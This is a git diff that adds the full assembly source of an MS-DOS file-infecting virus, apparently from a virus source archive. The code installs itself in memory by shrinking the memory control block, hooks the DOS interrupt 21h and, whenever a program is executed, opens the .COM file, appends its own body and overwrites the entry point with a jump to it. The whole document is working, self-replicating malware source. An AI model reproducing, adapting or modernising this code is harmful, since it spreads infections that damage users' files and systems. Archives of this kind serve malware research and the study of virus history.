re-organize

push

MSDOS/V-Index/Virus.MSDOS.Unknown.v1.asm

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+	.model	tiny
+VStart	equ	BegVir
+VEnd	equ	LastByte
+Len	equ	VEnd-VStart
+LenPar	equ	(Len/10h)+1
+	.code
+	org	100h
+Start:	jmp	BegVir
+	nop
+	nop
+	nop
+	mov	dx,offset Stri
+	mov	ah,9
+	int	21h
+	mov	ax,4c00h
+	int	21h
+Stri	db	'This is Mutant-59 shtamp.',13,10,36
+BegVir:	call	$+3
+Go:	pop	bp	;VirusEntry+3
+	mov	si,bp
+	sub	bp,3
+	Add	si,(hbyte-go)
+	mov	di,100h
+	mov	cx,3
+	cld
+	rep	movsb
+	mov	ax,9219h
+	int	21h
+	cmp	ax,1992h
+	jne	Install
+GoOut:	mov	si,100h
+	push	si
+	ret
+	db	0E9h	;JMPNear For Exchange
+HByte	db	90h,90h,90h
+Install:
+	push	ds
+	push	es
+	mov	ax,ds
+	dec	ax
+checj:	jmp	short first
+next:	cmp     byte ptr es:[0],4Dh
+	jne	Nodo
+	add	ax,es:[3]
+first:	mov	es,ax
+	inc	ax
+	cmp	byte ptr es:[0],5ah
+	jne	next
+	mov	bx,es:3
+	sub	bx,LenPar
+	jc	nodo
+	mov	es:[3],bx
+	sub	word ptr es:[12H],LenPar
+	add	ax,bx
+	mov	es,ax
+	xor	di,di
+	mov	si,bp
+	mov	cx,Len
+	cld
+	rep	movsb			   	;Remove Virus
+	mov	bx,es
+	xor	ax,ax
+	mov	ds,ax
+	mov	di,Int_o-BegVir
+	mov	si,84h
+	movsw
+	movsw
+	mov	es,ax
+	mov	di,1D0h
+	mov	si,84h
+	movsw
+	movsw
+	mov	di,84h
+	mov	word ptr ds:[di],Int21-BegVir
+	mov	ds:[di+2],bx
+
+NoDo:	pop	es
+	pop	ds
+	jmp	GoOut
+
+Int21:	cmp	ax,9219h
+	je	I2
+	cmp	ah,4bh
+	jne	nu
+	call	Zaraza
+Nu:	db	0EAh
+Int_O	dw	?
+Int_S	dw	?
+i2:	xchg	al,ah
+	iret
+Zaraza:	push	ax
+	push	bx
+	push	cx
+	push	dx
+	push	si
+	push	bp
+	push	ds
+	mov	ax,3D02H
+	int	074h
+	jc	j
+	mov	bx,ax
+	push	cs
+	pop	ds
+	mov	ah,3Fh
+	mov	cx,3
+	mov	dx,HByte-BegVir
+	mov	si,dx
+	int	074h
+	cmp	byte ptr [si],'M'
+	jz	i
+	mov	ax,4202h
+	xor	cx,cx
+	xor	dx,dx
+	int	074h
+	sub	ax,3
+	mov	bp,ax
+	mov	cx,LastByte-BegVir
+	sub	ax,cx
+	cmp	ax,[si+1]
+	jz	i
+	mov	ah,40h
+	int	074h
+	mov	ax,4200h
+	xor	cx,cx
+	int	074h
+	mov	ah,40h
+	lea	dx,[si-1]
+	mov	cl,3
+	mov	[si],bp
+	int	074h
+i:	mov	ah,3Eh
+	int	074h
+j:	pop	ds
+	pop	bp
+	pop	si
+	pop	dx
+	pop	cx
+	pop	bx
+	pop	ax
+	ret
+LastByte:
+	End	Start
+